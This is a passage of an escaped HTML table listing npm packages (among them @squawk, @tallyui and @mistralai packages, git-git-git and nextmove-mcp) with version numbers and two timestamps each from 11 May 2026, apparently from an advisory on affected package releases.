align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/procedure-data\">procedure-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.7.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:02.647Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.766Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airports\">airports<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.6.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.641Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.723Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/connector-medusa\">connector-medusa<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:40.822Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.715Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airway-data\">airway-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.609Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.573Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/git-git-git\">git-git-git<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.11<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:58.281Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.571Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/nextmove-mcp\">nextmove-mcp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:58.295Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.417Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/wot-api\">wot-api<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:08.421Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.352Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/weather\">weather<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.9<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:02.061Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.305Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/ts-dna\">ts-dna<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">3.0.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.239Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.298Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/navaid-data\">navaid-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.6.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.857Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:02.199Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/fix-data\">fix-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.6.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.667Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:01.985Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/core\">core<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.2.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:40.928Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:01.971Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~mistralai\">@mistralai<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@mistralai\/mistralai\">mistralai<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">2.2.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:23.971Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:00:13.131Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~mistralai\">@mistralai<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@mistralai\/mistralai\">mistralai<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">2.2.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:45:38.894Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:00:07.535Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~mistralai\">@mistralai<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@mistralai\/mistralai-azure\">mistralai-azure<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.7.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:53:59.333Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:59:58.941Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~mistralai\">@mistralai<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@mistralai\/mistralai-gcp\">mistralai-gcp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.7.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:53:59.298Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:59:56.325Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/git-git-git\">git-git-git<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.10<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:16.026Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:59.629Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/nextmove-mcp\">nextmove-mcp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:16.612Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:59.325Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~supersurkhet\">@supersurkhet<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@supersurkhet\/sdk\">sdk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.0.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:11.686Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:05.701Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~taskflow-corp\">@taskflow-corp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@taskflow-corp\/cli\">cli<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.28<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:11.836Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:04.661Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/cmux-agent-mcp\">cmux-agent-mcp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:11.930Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:02.751Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/mcp\">mcp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.9.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:48.133Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:01.646Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/cross-stitch\">cross-stitch<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.1.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:48.947Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:57.553Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~supersurkhet\">@supersurkhet<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@supersurkhet\/cli\">cli<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.0.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:11.953Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:56.052Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airspace-data\">airspace-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:47.268Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:38.668Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/theme\">theme<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.2.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:01.823Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:29.023Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/types\">types<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:48.165Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:28.666Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/geo\">geo<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:46.938Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:27.455Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/connector-medusa\">connector-medusa<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:02.277Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:26.603Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airspace\">airspace<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:46.596Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:26.511Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/connector-woocommerce\">connector-woocommerce<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:01.803Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:26.283Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airway-data\">airway-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:48.420Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:24.687Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/pos\">pos<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:01.999Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:22.314Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/components\">components<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:01.944Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:16.459Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/flight-math\">flight-math<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:48.200Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:16.410Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/fix-data\">fix-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.6.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:48.168Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:16.359Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/fixes\">fixes<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.3.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:46.595Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:16.297Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/connector-vendure\">connector-vendure<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:02.296Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:16.271Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/procedures\">procedures<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:46.708Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:15.728Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/weather\">weather<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:47.708Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:15.717Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/icao-registry\">icao-registry<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:46.466Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:15.231Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/database\">database<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:02.207Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:14.225Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airways\">airways<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:46.729Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:12.369Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airport-data\">airport-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.7.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:48.424Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:11.874Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/flightplan\">flightplan<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:47.085Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:11.822Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/connector-shopify\">connector-shopify<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:02.103Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:10.896Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/storage-sqlite\">storage-sqlite<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.2.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:02.730Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:10.001Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/ts-dna\">ts-dna<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">3.0.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:47.183Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:09.053Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/wot-api\">wot-api<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:53.510Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:04.966Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/units\">units<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:47.446Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:04.577Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/procedure-data\">procedure-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.7.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:47.824Z<\/p>\n<\/td>\n<td>\n<p 